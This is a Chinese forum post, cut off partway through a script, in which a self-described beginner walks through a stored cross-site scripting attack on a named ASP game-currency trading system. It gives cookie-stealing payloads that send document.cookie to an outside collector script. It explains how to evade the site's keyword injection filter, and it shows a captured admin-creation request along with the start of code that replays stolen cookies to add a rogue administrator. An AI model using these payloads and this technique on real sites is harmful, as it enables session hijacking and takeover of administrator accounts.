http://tieba.wxphp.com/f?kz=961140367
听毛爷爷说不了解跨站的菜鸟不是合格菜鸟,于是乎就从网站找了个程序学习下,菜鸟嘛,当然找简单的,于找了个叫"商易网游金币收货系统 v2.0"的XX。
上网找了下漏洞,只有人发了个上传漏洞,试了下,貌似只能爆出物理径,和跨站无关,暂且不管它。 当然,跨站有很多用途,但像我这样菜鸟也不多想,能跨入后台就行了。
构想是这样的:跨站代码尽量简洁,弄到Cookies提交给hxxp://192.168.229.129/xss.asp就行了,然后其它后续工作就让xss.asp去做了,比如加个后台管理员什么的。
192.168.229.129是虚拟机IP地址,物理机IP地址为192.169.229.2,网站放在物理机上。
本地搭建好网站后,找提交信息的地方,在提交信息填些<script>alert("xxx")</script>之类的XX,结果发现在邮箱那和留言页面(book.asp)那都可以跨,
邮箱那有长度限制,留言那就没了,所以目标就定在留言这了。
如图
先看看能不能窃(读书人)个Cookies,在留言那填上
<script> document.write('<img src="hxxp://192.168.229.129/xss.asp?x='+document.cookie+' "width=0 height=0 border=0 />');</script>
如图
看来还防注入了,来看代码,发现参数基本没过滤,也没转换,只在buyok_functions.asp作了限制,然后全站调用这个文件:
...
sub aspsql()
SQL_injdata
"'|;|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
SQL_inj = split(SQL_Injdata,"|")
If Request.Form<>"" Then
For Each Sql_Post In Request.Form
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then
response.write "<script language='javascript'>"
response.write "alert('网站安全提示:请不要在参数中包含非法字符!');"
response.write "location.href='javascript:history.go(-1)';"
response.write "</script>"
response.end
end if
next
next
end if
If Request.QueryString<>"" Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then
response.write "<script language='javascript'>"
response.write "alert('网站安全提示:请不要在参数中包含非法字符!');"
response.write "location.href='javascript:history.go(-1)';"
response.write "</script>"
response.end
end if
next
Next =
end If
end sub
...
防了post和get,Cookies却丢一边了,是不是能Cookies注入就不管了,不在本次议程之内。 不能提交"'"和";",那就转换下不提交这两个符号了,总不好还把留言弄到Cookies里去提交吧。
把语句改成
<script>document.write("<img src=hxxp://192.168.229.129/xss.asp?x="+document.cookie+" width=0 height=0 border=0 />")</script>
顺利提交了,但这样有个问题,当Cookies里有空格时,后面的内容就得不到了,所以再改下,用@替换掉空格
<script>document.write("<img
src=hxxp://192.168.229.129/xss.asp?x="+document.cookie.replace(/ /g,"@")+" width=0 height=0 border=0 />")</script>XXXX
总得提交点XXXX这样迷惑信息吧,不然管理员看到是空白的。
然后在xss.asp里用cookies=replace(cookies,"@"," ")把Cookies还原。
改完后用管理员账号登陆后台去测试下,查看留言管理
再去看看cookiest.txt生成了没,OK,生成了,而且Cookies就在里面。
接下就是实现添加后台管理员功能。
登陆后台,添加个用户名为joker密码为notjoker的管理员,抓包。
得到提交数据如下:
-----------------------------------------------
POST /admin/safe3.asp?Act=ok HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer:
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR
1.1.4322; .NET CLR 2.0.50727)
Host: 192.168.229.2
Content-Length: 89
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSCCTADTT=MADFPIPACKKJHFFEHLBJEHDF; buyok%5Fuser%5Fip=127%2E0%2E0%2E1; buyok=admin=admin&temp=login
username=joker&password=notjoker&password1=notjoker&ok=ok&action=%B1%A3%B4%E6%C9%E8%D6%C3
---------------------------------------------------------
修改xss.asp,添加发送数据包代码:
<%
Dim cookies,posturl,refurl
posturl = "hxxp://192.168.229.2/admin/safe3.asp?Act=ok"
refurl = "hxxp://192.168.229.2/admin/safe3.asp"
cookies = Request("x")
cookies = Replace(cookies,"@"," ") '把空格换回去